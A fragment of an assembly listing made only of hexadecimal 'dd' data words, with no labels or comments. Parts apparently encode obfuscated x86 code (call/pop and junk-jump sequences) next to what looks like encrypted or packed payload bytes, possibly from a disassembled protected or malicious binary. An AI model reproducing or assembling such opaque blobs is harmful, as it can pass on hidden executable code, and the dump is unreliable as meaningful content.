4464AA4Fh, 0B0AB045Dh, 4F738D06h, 284D2B71h, 0F33605C6h dd 30E7DA91h, 0DE52CA46h, 62EAB1Bh, 0F8580000h, 0BB216433h dd 8FF23504h, 62C609D8h, 3297DAA9h, 0A1E3A877h, 5928E348h dd 27F6B516h, 0F7C67DE4h, 0CA9952B4h, 0C1E9E445h, 0AAD85182h dd 5AB38F84h, 57F8D123h, 0B942DCF7h, 0DDBE5F11h, 0E856347Ah dd 1D765D96h, 5FE1C9C4h, 7D8ADDBEh, 0BE5E5882h, 0DDFD43DDh dd 0AA35F2FFh, 0A8EEE3A8h, 0E3828AC1h, 0AD4E8006h, 0C5278ECFh dd 7B9A443Fh, 0BF05D857h, 517DE29Fh, 0F30C8200h, 3CA0B30Ch dd 3BDCC27Fh, 313E1CD7h, 0E6418F74h, 0D518E72Dh, 90F7B473h dd 2CB06D2Eh, 852D2881h, 0EED66C6Eh, 5F1CCAA8h, 0A4733496h dd 753A1338h, 27760DEh, 0B0C10000h, 433E25DEh, 0E3AE680Ah dd 8942A6B9h, 0EDD41AABh, 0EFBE75DAh, 0A58C47ACh, 8669514Ch dd 0CC12D851h, 735EADEEh, 90D85186h, 317A6D2Eh, 67C5E84Dh dd 54634A4h, 10700000h, 0D3397C4Bh, 0A70A4D1Ch, 7ADE21F0h dd 4AAFF2C1h, 89FBC08Fh, 7140FB60h, 3F0ECD2Eh, 0FDE95FCh dd 0E2B16ACCh, 0D901FC5Dh, 0C2D85181h, 0DEB0A79Ch, 0D2E53E25h dd 0CDDAB86Fh, 0E3AE6874h, 74D7EA43h, 85822CB5h, 0A7EDD851h dd 0A7138C9h, 0F6B36CD2h, 0E09F010h, 0D85185A4h, 0AC6989CFh dd 5524E345h, 10F7B012h, 8512BCB7h, 377DD851h, 4FB11859h dd 537AB198h, 3CF75B1Bh, 0A7568A77h, 160488C9h, 66134A45h dd 21898476h, 4AD85152h, 76A03F04h, 6F2CE74Ch, 90A46989h dd 0BFFE18B1h, 56B8DDBBh, 0F15AC695h, 82D891F8h, 191h dd 0E097F9E3h, 0A15ABC23h, 8544A7BAh, 0B104E2C8h, 0B9F36925h dd 2E060FD8h, 0D9964DB2h, 0CCB3D3F3h, 0A8F490D1h, 1C0349E3h dd 0E71EC8C3h, 0B4AFD854h, 0D854E70Ah, 0DC222F75h, 406EBDFEh dd 6BD854E7h, 4FFCEEABh, 24D88CCDh, 20h, 25DEB085h, 8BE433Eh dd 0A1E7E3A8h, 0E62995E4h, 0D292D857h, 0B2282381h, 0C74DD88Bh dd 0AE000000h, 0FC5F97F9h, 0E5A259BCh, 3C22DFFFh, 9FB25F1Ch dd 7CA17F3Ah, 389F5C17h, 0F52D94D6h, 99B9D990h, 81389FB2h dd 0BF00DEC4h, 10A5DB12h, 577675E3h, 541939F0h, 8DE39AABh dd 9DC2A095h, 82AD7C3Bh, 0DDBEA4AEh, 0C6288C9Fh, 8659A7D1h dd 0A987A786h, 9A692284h, 987F700Eh, 0AAF8609Dh, 112431E3h dd 446EF7AEh, 2FD852FCh, 0DF0702E9h, 0C8D852FCh, 687B6282h dd 36794803h, 0BC271AD1h, 0AC5EB37h, 3A6D747h, 70D00000h dd 3399DCABh, 76AAD7Ch, 0DA3E8150h, 0AA0F5221h, 295B20EFh dd 0D1A05BC0h, 9F6E2D8Eh, 6F3EF55Ch, 4211CA2Ch, 79615CBDh dd 22D8518Fh, 94F907FCh, 69CB0EDDh, 54B8CBB2h, 16F4DA97h dd 97F96CC3h, 5ABC23E0h, 4846D2A1h, 0BB7ADDF0h, 278F18FEh dd 50DDBEF7h, 0AA03EA0Ah, 95733697h, 0A81CFB88h, 0A966ACE3h dd 57D2725Ah, 712889D8h, 2CEB4DB4h, 0E6A5086Fh, 68B44329h dd 0B7A5632Bh, 74D8EBFAh, 3614FAB7h, 563DB6C8h, 4139D65Bh dd 6A397FE6h, 8E73AAE1h, 0A9F70FB7h, 92709047h, 0E097F959h dd 0A15ABC23h, 0B74846D2h, 801F99D0h, 61ADDC79h, 0DE577F7Ah dd 0FA40DDBEh, 4558B11Ch, 474229E0h, 0DDBEDE9Fh, 0D7E4C208h dd 0E3A82496h, 0FD4C094Fh, 0D857B7D1h, 4A45CB2Eh, 0D857B760h dd 0E8A5C50Bh, 81E51D81h, 86EDAACAh, 0C7AD6A21h, 0B431014h dd 0AA257636h, 0B7B23097h, 0D857B70Fh, 55123278h, 843916Fh dd 0B1D88BFDh, 0FC2F9C7Ah, 14778A4Bh, 92B29855h, 2A05B4h dd 0B0660000h, 433E25DEh, 0E3A808BEh, 0DB94FA0Dh, 3597381Eh dd 0C1079876h, 0E609B504h, 0F2B2D857h, 0B20843A1h, 0E06DD88Bh dd 0CE000000h, 0FD5F97F9h, 7B9B813Eh, 37F257BEh, 5AD83D50h dd 0BEF7775Fh, 0BADA20DDh, 0D2349BDCh, 93F55C19h, 6DA05D4h dd 0F7DDBEFBh, 0E7C57EE4h, 0D8A760C2h, 0B7743395h, 99FD7707h dd 7D7825E2h, 0DDBEF255h, 0B8D8F83Eh, 0F935D6D1h, 0A8EEE3A7h dd 0FCF750D9h, 0D857FCD2h, 2B9977BDh, 62BBA253h, 57FC7F67h dd 41E228D8h, 0E04B29E0h, 43BBA6E5h, 52397FE6h, 0C780E6F9h dd 0A45FC4E9h, 8F48AABDh, 802A25D2h, 0EBD66A32h, 82E485A5h dd 48260CC9h dd 964DB2F5h, 0D3F90EA3h, 49B97CCBh, 1C4h, 0FECD8EEEh dd 0CF9E55BBh, 0A372298Ch, 703FFC60h, 4211C82Dh, 7DE2077Dh dd 53B4F7C6h, 1F86C998h, 0F4569968h, 7EDF6433h, 518D5B83h dd 291E44D8h, 0EDD94F9h, 89312C85h, 0F2DDBEF7h, 47A9CEACh dd 0B36AC190h, 0A17F3CA0h, 0C3AA5B33h, 0A8083BC8h, 69266CE3h dd 7E6863BCh, 29D857E6h, 0CAF805E3h, 0F5D857E6h, 56696435h dd 0D5B39F2h, 0D88BB23Eh, 0D437h, 97F99800h, 8DA0F9E0h dd 0FEE87128h, 0A9DDBEF7h, 97448563h, 0A7641F84h, 20BCF81Ch dd 0BFDF93D2h, 9C57BCE1h, 98D090DFh, 91F3DDBEh, 66C80BDAh dd 423DBF24h, 0DDBE9F98h, 0B69DBD03h, 0BE9F13BBh, 16367CDDh dd 1CD5A959h, 8883DC35h, 0DDBE9F5Eh, 9C5FF91h, 637059CDh dd 51323F1Dh, 4AE3A776h, 6B4C255Fh, 847F451Bh, 0D8576F5Ah dd 0BFDFFF45h, 0D92A64F0h, 9FEABBF2h, 0AAE98572h, 846661CCh dd 5FE64306h, 0BA1F3219h, 88ED30FFh, 5C73DED1h, 0EAADCBD2h dd 0B77Ah, 0CA81E100h, 9952B8FBh, 652487CAh, 34EF5396h dd 6BD2265h, 0D7127237h, 0A5E8B772h, 73B68544h, 4386550Ch dd 0D65B2AE1h, 8C507A75h, 153BD851h, 5C94F920h, 4F1E3EF5h dd 22F1AA0Ch, 0E097F9CBh, 0A15ABC23h, 0B74846D2h, 6878D5D0h dd 0E329E3AEh, 2667926h, 0E4466B49h, 0B8CB5423h, 0F6DC9952h dd 5991F318h, 3EA041F8h, 0BADAC07Dh, 9929AEFDh, 2F784E3Dh dd 28C8AF8h, 0A142042Dh, 0E4CA873Eh, 8C1B5806h, 0A15E1579h dd 56B8DDBBh, 2183C695h, 0A700AD6Ah, 0BD2002ACh, 49276DA9h dd 4603C024h, 2FE4B5E1h, 0FC3F0ECDh, 0B424E19Ah, 8, 39A0B313h dd 4803A482h, 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h dd 18D58CF1h, 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h dd 0E7895781h, 4C781h, 0EF810000h, 4, 5C243C87h, 68242C89h dd 5AEAh, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h dd 0C895C24h, 0BA525624h, 0F8E7124h, 0BF5AD689h, 0F66100A0h dd 815EF701h, 4ECh, 24248900h, 4240481h, 59000000h, 8904EC83h dd 2C81243Ch, 135A4424h, 8418F0Dh, 44084181h, 8B0D135Ah dd 8951240Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h, 2434FF5Ch dd 4C4835Fh, 0FACDA0E9h, 0DBC9D4FFh, 7BF4B881h, 0C50305EFh dd 0DE0FE0FFh, 0A2A420ABh, 0DA80EB9h, 0A8993030h, 1657EAEh dd 80C87440h, 0ED7C2E4Bh, 0CFE24B1Fh, 70EF719Ch, 0AE0861C7h dd 0EDBC1C63h, 678A7BC2h, 46D15C39h, 414D467Bh, 0E7E727E6h dd 8D8D247Eh, 5EF7DB3h, 2A258D29h, 8D8905E9h, 5E92655h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FCC35646h dd 0AA81EEE5h, 0CE8h, 0D10B4900h, 532865Ch, 617C9D3Eh dd 0ACD081FBh, 5A1C7F57h, 31559589h, 85C705E9h, 5E90805h dd 7510h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 10C35343h, 12F24723h, 5C5FDE05h, 3D85C7D4h, 5E916h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FF14C350h, 0E910E9B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 34AA450Eh, 8B01E6D0h, 0C595FFC7h, 8905E90Bh, 0E92CF19Dh dd 0D38B5305h, 0FF006A5Ah, 0E91E9595h, 0EBC08B05h, 0A6E9FA7Fh dd 0F781E5F1h, 25256F0Ch, 0C7111E3h, 93F10CA1h, 19EB38C2h dd 765565E4h, 3097D800h, 46CA9AE5h, 7DB9779h, 0CDC0F715h dd 0BDFDBB11h, 28764DA6h, 2D37FED9h, 72370DB0h, 5CDB7EF3h dd 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h, 7E02C474h dd 1B55C854h, 470DC037h, 0C87A5F0Ch, 0C530378Bh, 0D3D0A74Eh dd 66B47F2Bh, 0B514320Fh, 6F028764h, 8D22C8FBh, 46EA2E52h dd 17005B99h, 10E8h, 60AE3B00h, 1EB4007h, 97C06173h, 76CA2AE8h dd 6E9CFh, 14A30000h, 27A90464h, 0BD95895Ah, 8105E923h dd 6C97C2h, 819D8B00h, 3305E904h, 39BD8BC0h, 8B05E918h dd 0FE8B0234h, 70E1C681h, 0B70F310Dh, 59F681CAh, 897F9D65h dd 0E91089B5h, 0DBC68105h, 564A957Fh, 28719589h, 48F05E9h dd 8AD88B02h, 2E883F9h, 245D9589h, 484805E9h, 17ED8D89h dd 0F88105E9h, 0FFFF93ECh, 0FFB5850Fh, 9D0BFFFFh, 5E90A9Dh dd 7F798D8Dh, 8D8905EFh, 5E92655h, 2955BD8Bh, 85C705E9h dd 5E90805h, 671Ch, 6840Fh, 8D890000h, 5E92F75h, 163D85C7h dd 5E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0F9A7DDC3h, 1F31858Bh, 9D3105E9h dd 5E9057Dh, 3F5B5FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0BE7238C3h, 0AA845523h dd 0C595FF5Dh, 6A05E90Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0B478C356h, 89958BB9h dd 6A05E92Ah, 9595FF00h, 8B05E91Eh, 6C0DEBC0h, 8D2A7DC8h dd 8B72BFCAh, 0F2626671h, 80AF8D8Dh, 11E905EFh, 60000000h dd 75B66B95h, 33B97275h, 35C4FDA0h, 478EAC42h, 26558D89h dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0CADC83C3h, 0BCAB1468h, 8E0FEA5Fh, 6, 1061858Bh dd 85C705E9h, 5E90805h, 6440h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 5BC35646h, 81669279h, 66D656EAh dd 6CFC781h, 19DBBB66h, 163D85C7h, 5E9h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0D293C1C3h, 0E00DFBD2h, 995897Fh, 0FF05E932h, 0E9321DB5h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 88167643h, 0C595FF5Ch, 6A05E90Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0B701C351h, 800F4227h, 0Ah, 95A5360h, 0E92D09B5h, 8F0F6105h dd 1, 0FF006AF9h, 0E91E9595h, 0EBC08B05h, 0B9A1230Eh, 5C0FFC0h dd 0ACBB5A84h, 8D187931h, 0EF81AD8Dh, 0A1BD0305h, 8905E924h dd 0E926558Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0BDB3EE27h, 2D60D44Ch dd 80585C7h, 5F8805E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0FA26DC3h, 7F69E73Eh dd 85C75162h, 5E9163Dh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 49C35545h dd 8D010A12h, 5E93131h, 55B5FFh, 816605E9h, 0FFFD28F3h dd 0E90BC595h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 61A4B608h, 0EDB43C13h dd 11E88A89h, 0B7000000h, 0C429D2A8h, 1D4C94A1h, 0FB3214E1h dd 0DC215EADh, 26B1BD01h, 6A5B05E9h, 9595FF00h, 8B05E91Eh dd 3C6AEBC0h, 4C15DAB1h, 174B70ACh, 0F1CB8BBCh, 8735290h dd 37A974C0h, 43DFCD6Eh, 206AD111h, 4CB5078h, 0DAE57026h dd 5E616961h, 0C959CFCDh, 0A86AE916h, 9317482Fh, 7119BEA8h dd 8E8C9684h, 83A40867h, 0A88DF01Ch, 3ECCD5E8h, 15B93C86h dd 2A986529h, 0B4FD50DAh, 8739316Ch, 0A9290181h, 5C8F9992h dd 939FCC64h, 0BAB06490h, 10E83Ah, 0B9390000h, 3CDCFD68h dd 0FC1B7C2Fh, 338CB136h, 860F53A5h, 6, 10659589h, 8B5E05E9h dd 0E927919Dh, 0E1C68105h, 0E900006Dh, 11h, 11E6A0B6h dd 8575461Eh, 0A8383968h, 687135EDh, 0B965h, 66500000h dd 0B82AD381h, 3134FF5Bh, 95295FF9h, 5E91935h, 0F9D8F781h dd 0DF8B697Dh, 9E5FEF81h, 18B442E7h, 6096C781h, 0E3800E4Dh dd 0E3C89E1h, 5086BB66h, 0FE9h, 73CE5800h, 9B0D4CA4h, 0CDCA8B7Dh dd 68BBA603h, 4902E983h, 598D2949h, 8105E929h, 0FF9308F9h dd 24850FFFh, 0E9000000h, 0Bh, 832FA93Ch, 648F1139h, 0E94047D1h dd 37h, 795E35B8h, 3AE6EBBFh, 0F3355722h, 6066EDABh, 1CD1858Bh dd 0EE905E9h, 27000000h, 684C1124h, 0A6BA44B6h, 95463E8Ch dd 66E96171h, 78FFFFFFh, 0BA6B39CDh, 0E80767A3h, 0Dh, 2B6499B9h dd 3710A5DEh, 0F0A9071Fh, 68F0F50h, 8B000000h, 0E90F4185h dd 0BF0F5905h, 0CCC181C1h, 66000065h, 2BF4EEBAh, 39DC80F6h dd 890E34FFh, 0E90BC1BDh, 85295F05h, 5E9224Dh, 0B203F781h dd 9D8B46C2h, 5E92699h, 0F193C781h, 860F20D9h, 2, 0EF81D98Bh dd 46956674h, 0D161BB66h, 8FE28A57h, 852B3104h, 5E92219h dd 0C3CDA81h, 0EE8342ABh, 99BD2901h, 4E05E900h, 8F0F4E4Eh dd 0Ch, 6820Fh, 0BD290000h, 5E921F9h, 9AD0FE81h, 850FFFFFh dd 0FFFFFF90h, 4138B866h, 842E8D8Dh, 9D8905EFh, 5E923D1h dd 26558D89h, 14E905E9h, 0BD000000h, 0E7135270h, 0A6C600A4h dd 8E0B9040h, 25C7CE24h, 0C7A3F34Dh, 0E9080585h, 635805h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 6608E7E7h, 0B589D18Bh, 5E90D15h, 163D85C7h dd 5E9h, 0FFF50000h, 0E931D5B5h, 95FFF505h, 5E90BC5h, 95FF006Ah dd 5E91E95h, 1AEBC08Bh, 64F3601Ah, 772D9CF5h, 0E96070FBh dd 104A72CCh, 75476C62h, 54725ECCh, 8D8DA3ECh, 5EF851Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E5C35242h dd 5EF171BCh, 8D89B5DDh, 5E92655h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0EC35747h, 3E97668Ch, 20BF883Fh dd 1BF6647h, 585C7E9h, 1C05E908h, 6A000068h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0DC42C355h, 0F22429Bh, 0F88B36BEh, 163D85C7h, 5E9h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8975F3C3h, 0E92B49BDh, 39B5FF05h, 8905E928h dd 0E922DD95h, 0C595FF05h, 8B05E90Bh, 0E903A195h, 0FF006A05h dd 0E91E9595h, 0EBC08B05h, 0DDBF1B7Ch, 0AF277AECh, 0D3AC9D2Eh dd 2CE70B87h, 0AD12EA72h, 0D77C8B4Fh, 3D931AEDh, 1D4049DAh dd 57545B4Dh, 3EB178E7h, 94267091h, 8D6925EBh, 1943A707h dd 67DDF04Ch, 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h dd 0B50EE8DBh, 0F1248726h, 0AB83019Bh, 534AC79Dh, 0DF648DF4h dd 0F942D090h, 0BEF92C04h, 89D3CE78h, 24DE4860h, 85661A5Eh dd 0A1D5071Bh, 25170AFBh, 2A390ADDh, 698D8DE1h, 8B05EF86h dd 0E919B995h, 558D8905h, 6A05E926h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A6C8C357h dd 34418B22h, 85896601h, 5E92ADDh, 80585C7h, 5D6405E9h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 9543C3C3h, 0E2212C4Ch, 85C71662h, 5E9163Dh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B6C35242h dd 0CA1C5D46h, 0CE80FA8h, 0B9000000h, 0BF82E93Eh, 0B665E7FAh dd 1508EBFh, 0E93201BDh, 0B5FF5805h, 5E9326Dh, 1F81BD29h dd 95FF05E9h, 5E90BC5h, 6AB9E480h, 9595FF00h, 8B05E91Eh dd 0B049EBC0h, 8E10E6B1h, 64512523h, 0EA3FD063h, 3D60047Dh dd 0ADB5CF59h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh, 0FAEE3C0Dh dd 0B00ABAA0h, 5FC2F8E0h, 0FD135090h, 270D2085h, 6C59C8B8h dd 0E7031C64h, 223DDD4h, 0C30E0EF3h, 0EC9A8FA7h, 0FE8h dd 37C2E000h, 0D1365C61h, 14A78241h, 0E7C3CE68h, 85BD3360h dd 8B05E90Dh, 0E906818Dh, 895E6105h, 0E9078985h, 0B3C68105h dd 300006Eh, 0E905F195h, 8BDB2B05h, 0E921C98Dh, 1E048B05h dd 0BDF081FCh, 8B578D13h, 0E92B998Dh, 38F08105h, 0E818C068h dd 0Bh, 0C33BCE10h, 924C5302h, 0E928011Eh, 0Ch, 938D3DACh dd 1E60CF5Eh, 0CEFEBE07h, 6CE88159h, 0E905798Dh, 0Ch, 5E5E00CCh dd 50218AACh, 0D2F9981Ah, 531E0489h, 2E7D9D89h, 8A5905E9h dd 6EB81D0h, 663B3F9Dh, 81C7B3BFh, 3F9D02C3h, 0C981663Bh dd 0FB81F41Ch, 0FFFF9220h, 0F850Fh, 0BF0F0000h, 1AE9CAh dd 23E60000h, 0D89CAA3Dh, 0ACB966F3h, 0FF6BE96Fh, 8100FFFFh dd 0BF4DB9C4h, 2A726C9Fh, 13E8h, 2D339400h, 0D201E894h dd 6AEB93C8h, 0A04C69C2h, 30C3F1DCh, 0FE9h, 7BFAAB00h dd 0C10EDCE7h, 24ABDCF2h, 12CFA0D5h, 8DBD8B58h, 8105E924h dd 5C55C0h, 6800h, 958B0000h, 5E90035h, 34FFF95Bh, 7FE68103h dd 594F4375h, 395FF181h, 0BD896A3Bh, 5E929FDh, 51A7F181h dd 3601EDCh, 0E90DB18Dh, 6860F05h, 8B000000h, 0E92DBD8Dh dd 0E9816105h, 1E3EA56Bh, 26D5B589h, 805105E9h, 48F9FD2h dd 5E9F818h, 64000000h, 0F3806E40h, 6602EB83h, 4BCBF3BFh dd 0BD7BA4Bh, 0FB812C91h, 0FFFFA454h, 0FF98850Fh, 0BA66FFFFh dd 8D8D4547h, 5EF8914h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 8AC35242h, 8D892073h, 5E92655h, 7D1FCB81h dd 85C76B74h, 5E90805h, 71D8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 4FC35242h, 2BE86E38h, 858B5F72h dd 5E92841h, 163D85C7h, 5E9h, 8B660000h, 958B57D0h, 5E90CE1h dd 1DB5FF5Ah, 6A05E932h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0BE4AC356h, 8B8F354Bh dd 0C595FFD0h, 6A05E90Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 2B3FC351h, 223265ABh dd 6A8EDFh, 1E9595FFh, 0C08B05E9h, 28E00EEBh, 24473513h dd 0AC1632B1h, 6C9B5602h, 9E8h, 0D224800h, 605A03A1h, 0BD2B3933h dd 5E92335h, 0B7E3BA58h, 0C0816257h, 71CFh, 3BBBFA8Bh dd 816C03EAh, 3CDF7EBh, 8B66606Ch, 61BD89C2h, 6105E911h dd 0D38B088Bh, 8F1FC181h, 0BF0F618Ah, 0CDE981F7h, 0F012AFBh dd 684h, 81BD8B00h, 8105E904h, 0E60686C1h, 0BD895659h dd 5E90AD5h, 8908895Fh, 0E90F2D9Dh, 1E88305h, 0BE8h, 3244900h dd 0A3CDEAAFh, 358B5E0h, 0A52C4EBFh, 48485F57h, 159D0148h dd 4B05E92Ch, 0C850Fh, 0B8B60000h, 2BE9h, 4F06B100h, 12E86DEAh dd 89000000h, 0AE9BC86Ah, 0A68E000h, 716068C6h, 0B0586CADh dd 0EABF660Eh, 75E95E68h, 6FFFFFFh, 73D3B8F8h, 0EE8h, 3055A700h dd 74F61393h, 5E5C89F7h, 89408742h, 0E90EA18Dh, 0C6815E05h dd 5A52h, 85895657h, 5E9090Dh, 0C9335F5Ah, 2B71B589h, 34FF05E9h dd 59950B31h, 5B05E92Dh, 0F3817BB0h, 0B5D1DCh, 25BD958Bh dd 0EB8105E9h, 5869602Dh, 9E8h, 3E671400h, 0E39B2B8Fh dd 9503726Fh, 5E923D1h, 0B7F3815Ah, 291BDC17h, 0E927859Dh dd 0BD895305h, 5E92ABDh, 0B80E048Fh, 3D2CF7E0h, 2E26BF66h dd 0BF03E983h, 7C7AA0A8h, 0F981F849h, 0FFFFA644h, 0FF98850Fh dd 0D1B8FFFFh, 8255946Ch, 889A075h, 0DC781469h, 4C8F8DA6h dd 2E8635CCh, 908635A1h, 4818D925h, 99053025h, 176F1A94h dd 98023F25h, 7863025h, 0AB8BC598h, 0A5893020h, 908630A1h dd 4663B5E3h, 0CCC835CCh, 12863021h, 0A1C4E765h, 0A0C2BB75h dd 0CB86BB21h, 79821461h, 0BA3785DAh, 0CD0B35CCh, 216A4A4Ah dd 0E20DE0DAh, 763B5E3h, 6CC835CCh, 42863021h, 89C4E765h dd 0B4C2BB75h, 0C186BB21h, 7C821461h, 1F7385DAh, 8C0B35CCh dd 816A4A4Ah, 0BA0DE0DAh, 2186209Ch, 908ED925h, 47203025h dd 24863EA0h, 0DB8D7925h, 0F676B52Ah, 896FCFDAh, 0CF863025h dd 0C8C85DB8h, 90838820h, 0AB793025h, 0AE088DA8h, 9F0B35CAh dd 0C69BB78h, 0B4A3229Dh, 82491BA3h, 889A075h, 0DC781469h dd 4C8F8DA6h, 2E8635CCh, 908635A1h, 4818D925h, 99053025h dd 0E9831A94h, 0B9A4F305h, 22h, 14E8h, 9509A000h, 5257994Ah dd 8945F780h, 0CA93B992h, 36C690C5h, 81F55B8Bh, 66ACC3h dd 0F98B6600h, 198868h, 0FB8B6600h, 198D8B5Eh, 8B05E928h dd 0AE913h, 0B5FA0000h, 898F6C6Ah, 0C79601C4h, 5AFDF281h dd 8B6603BFh, 66F281C2h, 8B5D6776h, 0E9322185h, 0A6EA8105h dd 891DFA0Dh, 0E932C9BDh, 8B138905h, 4EB83C7h, 12E8h, 0FDF02C00h dd 0FEF42E14h, 9AD4FE24h, 29ACD3C3h, 0B932FDEEh, 43C0C94Eh dd 1EE8358h, 0FFA1850Fh, 8B66FFFFh, 0F704EBC6h, 0E9046B7Eh dd 896h, 1B385F9Fh, 0ADCAF935h, 3E5B8AC7h, 0CDEA1D58h dd 617EA9E7h, 0EF2D855Dh, 80C1A7C4h, 17563C59h, 0AFE9CFECh dd 0B1925F7Ch, 26964303h, 14F24B13h, 0C91AD5EEh, 0C6F32D16h dd 612B598Ch, 51A9E2FFh, 8F903EE1h, 8F1C3216h, 0E927EB19h dd 81BBA1BEh, 97D1AB4Eh, 4B0FC764h, 0C3BDE11h, 0A9DF328Eh dd 9E56F3BEh, 7E264FAEh, 3F6E1144h, 0AE32E09Bh, 0D7126E0Ah dd 336007A4h, 0DE226412h, 36AC1320h, 1316BA99h, 780A4526h dd 0D0000000h, 3960A17Bh, 0D90C470Bh, 0B6F4DA77h, 5B995D8Bh dd 0BE6C8D30h, 16C91AF8h, 0DDA14F06h, 0E116C91Ah, 0B46C096Bh dd 941065C4h, 2F0E2B56h, 40CFD361h, 427Fh, 84C24500h, 0AE932B59h dd 0D416C91Ah, 763A6897h, 68E00E35h, 0C7425C19h, 1536274Eh dd 0C91A2767h, 3867A316h, 72E8400Ah, 86B1EFD5h, 65E0B4E3h dd 17E72055h, 0FC0951Ah, 7F1C877Eh, 3DFAD8h, 7B3A0000h dd 0A343424Ch, 0EE8BE5E9h, 0FC9FCA08h, 55692DDBh, 5F1C16C9h dd 3E98AE5Bh, 15B22880h, 6283C55Dh, 4F16C9h, 0C6F12F75h dd 12540223h, 9C16C962h, 824F8BD7h, 0F55779B9h, 6F83B158h dd 0F6B86617h, 0F816C91Ah, 0CF7D2082h, 1C31F34Ah, 642856CCh dd 0F5DBF827h, 505B89B8h, 3C3D812Fh, 7EBD1320h, 35B2553h dd 5FB7F08Dh, 5491B6F5h, 0CB2DF725h, 0CE71D39Dh, 3CBFFFADh dd 0C93F1320h, 2851FF2Ch, 6E19DB35h, 6FE6CAF8h, 32619E06h dd 0C3F22F15h, 0D51FF20h, 9116C93Bh, 2EC67E1Bh, 16C93B78h dd 79DD875h, 3366A1CAh, 0BCD93B05h, 64196F8Eh, 0C91AF0B6h dd 90BBFA16h, 0BC60C238h, 3366A17Bh, 0C2D2DE96h, 7BB15588h dd 83665A1h, 0CDFAA13Eh, 0ED8AB5F3h, 0CB17C9BFh, 3F2943CFh dd 0EF000000h, 0B664196Fh, 16C91AF0h, 822688FEh dd 1A89CD7Bh, 501516C9h, 5F6A6883h, 38DB3D70h, 1AF235Eh dd 16C9B7BDh, 0B869CB41h, 0D0231EAAh, 0E715B298h, 85C2597Bh dd 379DB256h, 69CAh, 196F0A00h, 0D1954364h, 0DD16C91Ah dd 1A773767h, 17716C9h, 65918850h, 0CD2F2349h, 0DA90FB2Ah dd 0ECAB2EB3h, 5A7B214Fh, 1ACB8B39h, 0ED316C9h, 11F57694h dd 0B915771Eh, 0FAB45178h, 16C982B4h, 0AAD915EFh, 1ABE220Dh dd 0A17B597Bh, 9EDD3960h, 0B3F0D673h, 1AD19543h, 9ED916C9h dd 944E136Bh, 695775E7h, 0CD71D335h, 88C2379Dh, 0ED1C2755h dd 0AB594CFCh, 16C99CEBh, 24CC7DF3h, 1BB584Ah, 16CC158Fh dd 4A136285h, 66033670h, 70134680h, 5A748B41h, 0B956A206h dd 0C3EE2C12h, 76DBF120h, 9EA4B16Ah, 0CD7BAEF0h, 58BA3016h dd 6A52D3A7h, 8B287048h, 0A6D10FD3h, 4A75B478h, 0EB1E581Ch dd 76ECDBDh, 0C5B00F97h, 3E7CA1DFh, 4AACDF19h, 24ECCBE8h dd 3C40CB12h, 55h, 0BCEF2903h, 0F927C48Eh, 275588C2h, 5907B810h dd 16C91A15h, 0C1E82999h, 2AB7AE5Fh, 13177516h, 13600EB1h dd 931C3238h, 0C6E1EF1Dh, 5AEB697h, 0E4AA1153h, 0C9E39486h dd 0D90EAB8Ah, 9BCE089Ch, 0B4C4C9F8h, 24CC4623h, 92B3E087h dd 2053A2E4h, 19B62C13h, 5588C2EBh, 48B81027h, 1B42F7A5h dd 1E941C32h, 0EAAC5A7Bh, 0F4132015h, 692DDB7Eh, 75132015h dd 8DBB62FFh, 1A5196Fh, 0CF0BE5F0h, 0BA872A0h, 5588C2DDh dd 0FAD401B1h, 0C3F18EBDh, 0CFCB17C9h, 20EE1D43h, 0F2215E8Fh dd 4E763041h, 0ED8AB1F2h, 45CCh, 196F9200h, 1AF0B664h dd 8EFE16C9h, 62C4264Dh, 89CD7BBEh, 1516C91Ah, 597BFB9Fh dd 0B25685C2h, 6917389Dh, 16C91A25h, 689633A9h, 4ECAh dd 